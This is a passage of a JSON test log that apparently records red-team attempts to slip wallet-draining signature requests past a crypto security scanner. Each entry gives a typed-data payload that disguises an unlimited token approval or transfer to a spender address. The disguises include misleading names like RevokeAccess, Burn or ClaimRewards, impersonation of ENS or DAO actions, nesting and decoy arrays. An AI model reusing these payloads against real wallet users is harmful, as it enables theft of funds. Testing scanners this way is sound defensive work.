Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:15:03.117Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:15:12.309Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:15:21.485Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:15:30.681Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN25-EIP3009-022", "timestamp": "2026-01-31T17:15:40.022Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xad4f3b1ef2032b0ffa831535df930719e931a81c4409dd59ec062c0a894b02ab\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN25-EIP3009-054", "timestamp": "2026-01-31T17:15:46.559Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xd46dc0575bf0d14197832480af1c094c4f5ccc01e2f87ec5afb3d3af63d3d14b\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:15:55.984Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:16:05.154Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:16:14.353Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:16:23.531Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:16:32.709Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:16:42.084Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:16:51.240Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:17:00.449Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:17:09.648Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:17:18.857Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:17:28.045Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:17:37.505Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:17:47.068Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi 